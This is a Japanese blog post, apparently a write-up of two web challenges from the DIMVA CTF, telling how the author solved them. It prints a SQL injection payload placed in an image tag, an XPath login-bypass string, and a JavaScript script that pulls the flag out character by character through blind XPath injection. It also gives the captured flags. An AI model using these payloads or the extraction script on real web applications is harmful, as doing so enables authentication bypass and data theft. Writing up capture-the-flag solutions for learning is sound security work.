DIMVA CTFに参加していた。
私のチーム(Epsilon Delta)は850ポイントで17位だった。
Web 100
画像アップローダーが用意されており、どうにかこうにかする問題。
はじめにいくつか画像が用意されており、パスワードを入力しないと閲覧できない画像があったため、そのパスワードを求める問題と推察される。
各画像にはタグがついており、同じタグを持つ写真を一覧で見れる。
しかし、シングルクオートの入ったタグの場合は一覧ページでエラーが発生していたため、SQLインジェクションがあるとわかった。
画像をアップロードした際、画像のコメントがタグになって登録されるので、そこにSQLインジェクションを埋め込む。
' union all select password from pictures--
その後、一覧ページを閲覧することでパスワードが入手でき、c0ffeeからはじまるパスワードがFlagであると判明した。
c0ffee29e34ad42d38cbe236913c911a
パスワード付きの画像はこんな感じだった。
素直でわかりやすい問題だったように思う。
Web 200
普通にアクセスすると
10 | 'user' and/or 'password' parameters missing, please provide an xml parameter of the following form to login: <login><user>(base64-encoded username)</user><password>(base64-encoded password)</password></login> |
ってのが返って来る。
一日近く、urlにログイン用xmlを足したり、ファイルとして送信したり、送信するパケットのいろんなところに埋め込んだりして悩んだ。。。
コンテスト終了直前になって、/?xml=
xml parameterってのが素直にxmlって名前のリクエストパラメータだったのに、そこに気づくまでに一日かかって英語の壁を感じる。
これがわかればあとは解くだけ。
とりあえず色々試していると、以下のレスポンスが返って来たため、XPathへのインジェクションだとわかった。
Error during login: Query: //User[UserName/text()='' and Password/text()='' '... ........................................................^^^ Invalid query somewhere around here (I think)
「’ or ‘1’=’1」とかしてログインに成功すると、htmlのコメントで「users.xml~が残ってるからあとで消すように」と書かれているのでアクセスしてみる。
xml形式のユーザーデータがあり、「c0ffeefa7745f449c26000a2612affec」というデータがあったので、それをFlagとして送信したが失敗。
どうやらuser.xml~は古いデータらしく、現在は別のものに置き換わっている模様。
なのでblind injectionを利用して現在のデータからFlagを取得する。
var search = "c0ffee"; var test = function(next) { $.ajax({ url: "/", data: { user: "", password: Base64.encode("' | //User[contains(.,'" + search + next) } }).done(function(data) { search += next nextTest(); }); }; var nextTest = function() { for (var i="a".charCodeAt(0);i<="z".charCodeAt(0);++i) { test(String.fromCharCode(i)); } for (var i=0;i<=9;++i) { test(i); } }; |
以下のFlagが得られる。
c0ffee153dbc077ea80f4e697a63ec1e
Accepted!!!